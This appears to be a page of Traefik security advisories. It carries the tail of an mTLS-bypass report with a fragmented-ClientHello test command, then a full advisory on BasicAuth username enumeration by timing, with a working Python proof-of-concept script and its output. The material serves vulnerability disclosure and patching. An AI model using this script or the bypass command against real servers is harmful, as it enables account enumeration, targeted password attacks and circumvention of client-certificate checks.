case 3 fragmented ClientHello, no client cert (bypass behavior test) python fragclienthello.py \ --connect-host 127.0.0.1 \ --port 8443 \ --sni whoami.home.arpa \ --record-size 500 in the record-size you can play with it as long as the client hello sni sniff function returns an EOF
Impact An attacker can bypass route-level mTLS enforcement by fragmenting ClientHello so Traefik pre-sniff fails (EOF) and falls back to default permissive TLS config.
</details>
--
Summary
There is a potential vulnerability in Traefik's BasicAuth middleware that allows username enumeration via a timing attack.
When a submitted username exists, the middleware performs a bcrypt password comparison taking ~166ms. When the username does not exist, the response returns immediately in ~0.6ms. This ~298x timing difference is observable over the network and allows an unauthenticated attacker to reliably distinguish valid from invalid usernames.
Patches
- https://github.com/traefik/traefik/releases/tag/v2.11.41 - https://github.com/traefik/traefik/releases/tag/v3.6.11 - https://github.com/traefik/traefik/releases/tag/v3.7.0-ea.2
For more information
If you have any questions or comments about this advisory, please open an issue.
<details> <summary>Original Description</summary>
Summary A timing attack vulnerability exists in Traefik's BasicAuth middleware that allows unauthenticated attackers to enumerate valid usernames. When a username exists, bcrypt password verification takes ~166ms; when it doesn't exist, the response returns immediately in ~0.6ms. This ~298x timing difference enables reliable username enumeration.
Details The vulnerability exists in the BasicAuth middleware implementation. When validating credentials: - User exists: The system performs bcrypt password comparison, which intentionally takes ~100-200ms due to bcrypt's design - User doesn't exist: The system immediately returns authentication failure in ~0.6ms
This timing difference is observable over the network and allows attackers to distinguish between valid and invalid usernames.
Root Cause: The code returns early when the user is not found, without performing a dummy bcrypt comparison to maintain constant-time execution.
Expected behavior: The system should perform a bcrypt comparison regardless of whether the user exists, to maintain consistent response times.
PoC Environment: - Traefik v3.6.9 - k3s v1.34.5
Configuration: yaml apiVersion: traefik.io/v1alpha1 kind: Middleware metadata: name: basicauth namespace: traefik-poc spec: basicAuth: secret: basic-auth-secret --- apiVersion: networking.k8s.io/v1 kind: Ingress metadata: name: test-basicauth annotations: traefik.ingress.kubernetes.io/router.middlewares: traefik-poc-basicauth@kubernetescrd spec: ingressClassName: traefik rules: - http: paths: - path: /protected pathType: Prefix backend: service: name: whoami port: number: 80
PoC Script: python #!/usr/bin/env python3 import requests import time import statistics import sys TARGET = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:30080/protected" TESTUSERS = ["admin", "root", "test", "nonexistent12345"] SAMPLES = 20 def measuretime(username, password="wrongpassword"): times = [] for in range(SAMPLES): start = time.perfcounter() requests.get(TARGET, auth=(username, password), timeout=5) elapsed = time.perfcounter() - start times.append(elapsed) return statistics.median(times) print(f"Target: {TARGET}") print(f"Samples per user: {SAMPLES}\n") for user in TESTUSERS: median = measuretime(user) if median > 0.05: # bcrypt threshold status = "[+] EXISTS (slow - bcrypt verification)" else: status = "[-] NOT FOUND (fast - immediate return)" print(f"{status}: {user:20s} | median={median:.4f}s")
Execution Results: Target: http://10.10.10.7:30080/protected Samples per user: 20
[+] EXISTS (slow - bcrypt verification): admin | median=0.1665s [-] NOT FOUND (fast - immediate return): root | median=0.0006s [-] NOT FOUND (fast - immediate return): test | median=0.0006s [-] NOT FOUND (fast - immediate return): nonexistent | median=0.0006s
Timing difference ratio: 298.0x
Impact - Vulnerability Type: Information Disclosure via Timing Attack (CWE-208) - Impact: - Attackers can enumerate valid usernames without authentication - Enables targeted password brute-force attacks against confirmed accounts - Exposes information about system user structure - Who is impacted: All users of Traefik's BasicAuth middleware are affected. The vulnerability requires: - BasicAuth middleware enabled - Attacker able to make requests to protected endpoints - Network access to measure response times - Attack Complexity: Low - only requires sending HTTP requests and measuring response times - Privileges Required: None - User Interaction: None
</details>
---